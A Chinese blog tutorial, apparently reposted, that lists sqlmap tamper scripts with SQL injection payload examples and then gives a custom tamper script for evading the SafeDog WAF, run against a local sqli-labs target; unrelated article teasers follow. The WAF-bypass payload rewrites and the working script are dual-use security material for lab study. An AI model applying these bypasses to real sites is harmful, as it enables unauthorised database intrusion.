6charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
7space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
 PostgreSQL1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
2apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
3between.py用between替换大于号(>)('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
4percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
5charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
6randomcase.py随机大小写* Input: INSERT
* Output: InsERt
7charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
8space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
Access1appendnullbyte.py在有效负荷结束位置加载零字节字符编码('1 AND 1=1')
'1 AND 1=1%00'
其他chardoubleencode.py双url编码(不处理以编码的)* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
unmagicquotes.py宽字符绕过 GPC  addslashes* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
randomcomments.py用/**/分割sql关键字‘INSERT’ becomes ‘IN//S//ERT’

 此时sqlmap就能针对性地绕过目标的过滤1

开始实验

首先安装安全狗等下给靶场开启防护:安全狗 apache v4.0版本

安装过程中如果没有自动出现服务名就要手动安装:

windows使用phpstudy环境安装Apache版安全狗找不到服务名_安全狗服务名_onlyoneya的博客-CSDN博客

1)---sqlmap的tamper目录:如果注入的时候遇见WAF,就利用该目录下的文件进行绕过,在该目录新建一个:bypass_safedog.py文件 

 2)---利用replace对注入payload 的关键字进行替代(现在内联/换行/注释都无法绕过安全狗了)

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

def dependencies():
    pass
def tamper(payload,**kwargs):
    if payload:
        payload = payload.replace('union','%23x%0aunion')       # 将union替换为%23x%0aunion
        payload = payload.replace('select','/*!44575select*/')
        payload = payload.replace('%20','%23a%0a')
        payload = payload.replace(' ','%23a%0a')
        payload = payload.replace('database()','database%23a%0a()')
    return payload
python sqlmap.py -u http://127.0.0.1:80/sqlilabs/Less-4/?id=1  -tamper=bypass_safedog.py

涉及资源:

http://sqlmap.org/
https://github.com/knownsec/pocsuite/
https://www.freebuf.com/articles/web/204875.html
https://www.freebuf.com/articles/people/162868.html
https://pan.baidu.com/s/13y3U6jX3WUYmnfKnXT8abQ 提取码:
xiao

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/402229.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一文梳理深度学习算法演进

分享一篇深度学习算法演进史的纯干货文章&#xff0c;涉及语音、图像、nlp、强化学习、隐私保护、艺术创作、目标检测、医疗、压缩序列、推荐排序等方向。文章较长&#xff0c;干货满满&#xff0c;建议收藏1. 前言如果说高德纳的著作奠定了第一代计算机算法&#xff0c;那么传…

Vue3.0导出数据为自定义样式Excel

前言当下开发web应用系统的时候&#xff0c;我们往往会遇到需要把网页上面的数据导出到excel这样的需求&#xff0c;真实的企业项目里对应一些导出财务报表、员工信息、交易记录、考勤打卡记录…等等需求&#xff0c;本文将对此做探讨。开始前补充&#xff1a; 网上是有些牛人已…

【IoT】项目管理:如何做好端到端的项目管理?

今天主要来谈谈项目管理这个话题。 首先来看一个我在网络上看到的一个关于项目管理的案例或者是段子。 将项目管理的作用及意义非常直观地展示了出来。 有一个植树搞绿化的企业&#xff0c;在公司内部设置有五个部门&#xff0c;分别是&#xff1a; 运输部门&#xff1b;挖坑部…

nginx 平滑升级

背景介绍 因为一些原因&#xff0c;比如说 Nginx 发现漏洞、应用一些新的模块等等&#xff0c;想对 Nginx 的版本进行更新&#xff0c;最简单的做法就是停止当前的 Nginx 服务&#xff0c;然后开启新的 Nginx 服务。但是这样会导致在一段时间内&#xff0c;用户是无法访问服务…

2023/3/10 Vue核心知识的学习- Vue - v-model双向绑定原理

https://www.jianshu.com/p/2682b5a26869 定义&#xff1a;vue中双向绑定就是指v-model指令&#xff0c;可以绑定一个响应式数据到视图&#xff0c;同时视图中变化能同步改变该值。 通过Object.defineProperty( )对属性设置一个set函数&#xff0c;当数据改变了就会来触发这个…

索引设计的一些小技巧(上)

文章目录 主键索引为频繁查询的字段建立索引避免为"大字段"建立索引选择区分度大的列作为索引尽量为ORDER BY 和 GROUP BY 后面的字段建立索引不要在条件中使用函数不要建立太多的索引频繁增删改的字段不要建立索引索引失效的常见场景主键索引 大家在设计主键的时候…

数据安全—数据完整性校验

1、数据安全保障三要素即 保密性 完整性、可用性机密性&#xff1a;要求数据不被他人轻易获取&#xff0c;需要进行数据加密。完整性&#xff1a;要求数据不被他人随意修改&#xff0c;需要进行签名技术可用性&#xff1a;要求服务不被他人恶意攻击&#xff0c;需要进行数据校验…

别再说前端导出excel麻烦了(xlsx插件用法)

如果是为了解决el-teable的固定列导出问题&#xff0c;直接移动至文章末 本文使用的插件按照指令&#xff08;第一个为一起按照&#xff0c;下面的是独立按照&#xff09; npm install --save xlsx file-saver或 npm install --save xlsx npm install --save file-saver表格…

【Thingsboard+ChirpStack+LoRaWAN 网关+LoRa节点】通讯过程

这里写目录标题 4.通讯流程图:5.thingsboard 集成 chirpstack 上下行通讯5.1上行消息:5.2下行信息:5.3 上行数据分析5.4 下行数据分析6.thingsboard中设备管理实现:lora节点、网关、lora server、以及物联网平台四部分的数据通讯 实验结果: 描述:在thingsboard中修改某个…

SpringBoot【基础篇】---- 基础配置

SpringBoot【基础篇】---- 基础配置1. 属性配置2. 配置文件分类3. yaml 文件4. yaml 数据读取1. 读取单一数据2. 读取全部数据3. 读取对象数据yaml 文件中的数据引用1. 属性配置 SpringBoot 通过配置文件 application.properties 就可以修改默认的配置&#xff0c;那咱们就先找…

【K哥爬虫普法】字节前高管,离职后入侵今日头条数据库,是阴谋、还是利诱?

案情介绍 2016年至2017年间&#xff0c;张洪禹、宋某、侯明强作为被告单位上海晟品网络科技有限公司主管人员&#xff0c;在上海市共谋采用技术手段抓取北京字节跳动网络技术有限公司&#xff08;办公地点位于本市海淀区北三环西路43号中航广场&#xff09;服务器中存储的视频数…

23模式--代理模式

本篇主要聊一些23中模型中的代理模式&#xff1a; 看一下百度百科的解释&#xff1a; 代理模式的定义&#xff1a;为其他对象提供一种代理以控制对这个对象的访问。在某些情况下&#xff0c;一个对象不适合或者不能直接引用另一个对象&#xff0c;而代理对象可以在客户端和目…

Python连接MySQL实现增删改查详细教程

文章目录前言一、环境准备二、操作步骤1.安装Python依赖库2.创建测试数据表3. 编写操作数据库核心类4. 测试数据添加5. 测试数据删除6. 测试数据更新7. 测试数据查询三、完整代码总结前言 Python语言经过了很多年的发展&#xff0c;生态非常丰富&#xff0c;热度只增不减&…

微搭问搭001-如何清空表单的数据

韩老师&#xff0c;我点关闭按钮后&#xff0c;弹窗从新打开&#xff0c;里面的数据还在&#xff0c;这个可以从新打开清除不&#xff1f; 点关闭的时候清掉 就是清楚不掉也&#xff1f;咋清掉 清掉表单内容有属性可以做到&#xff1f; $page.widgets.id**.value “” 就可以实…

HCIP-5.4OSPF路由聚合、缺省路由

1、路由聚合 OSPF 是一种链路状态路由协议&#xff0c;因此 OSPF路由器不传输路由&#xff0c;而是传输链路状态信息。因此&#xff0c;OSPF 路由通过汇总 LSA 来控制链路状态信息的传输&#xff0c;从而减小 LSDB 数据库的大小&#xff0c;进而控制路由的汇总。 由于OSPF路由…

Object对象键值的输出循序到底如何排列的?

1.日常摸鱼看八股 今天又是复习八股文的一天&#xff0c;发现还是彻底懂得原理才好和面试官吹牛批呀。 接着来看看我chat大宝贝的回答&#xff1a; 在现代浏览器中&#xff0c;Object 对象的键值输出循序是比较稳定的&#xff0c;通常是按照如下顺序输出&#xff1a; 所有的数…

打怪升级之如何发送HEX进制的数据出去

Hex数据老大难 不少人都困扰于如何将电脑中读取到的string类型的数据变成整形发送出去。一半来说&#xff0c;不论你调用的通信方式是串口的还是网络的&#xff0c;亦或是PCIE的&#xff0c;其在电脑端的实际情况都是以系统API的形式呈现的。而系统API函数提供的接口&#xff…

项目实战典型案例23——-注册上nacos上的部分服务总是出现频繁掉线的情况

注册上nacos上的部分服务总是出现频繁掉线的情况一&#xff1a;背景介绍二&#xff1a;思路&方案解决问题过程涉及到的知识nacos服务注册和服务发现一&#xff1a;背景介绍 spring cloud项目通过nacos作为服务中心和配置中心&#xff0c;出现的问题是其中几个服务总是出现…

【电子通识】案例:从YS-CH341T USB转IIC和UART模块使用学习如何找资料

最近在调一个充电芯片&#xff0c;要用到IIC与充电芯片通信来读取和写入充电芯片寄存器&#xff0c;控制充电芯片的各种参数。从以前老员工那里捡到一个这样的模块&#xff0c;模块背面写了YS-CH341T。看着有IIC通信的样子&#xff0c;所以先在网上找一下资料。首先先在网上找到…

npm安装依赖包:405 Method Not Allowed...

运用npm安装依赖包时报错&#xff0c;错误如下。 解决思路&#xff1a; 关注到错误信息上写明了 Method Not Allowed&#xff0c;其后注明了 GET请求以及一个url&#xff0c;说明极有可能是不允许向这个路由发送GET请求&#xff1b; 在浏览器中尝试打开这个地址&#xff0c;结…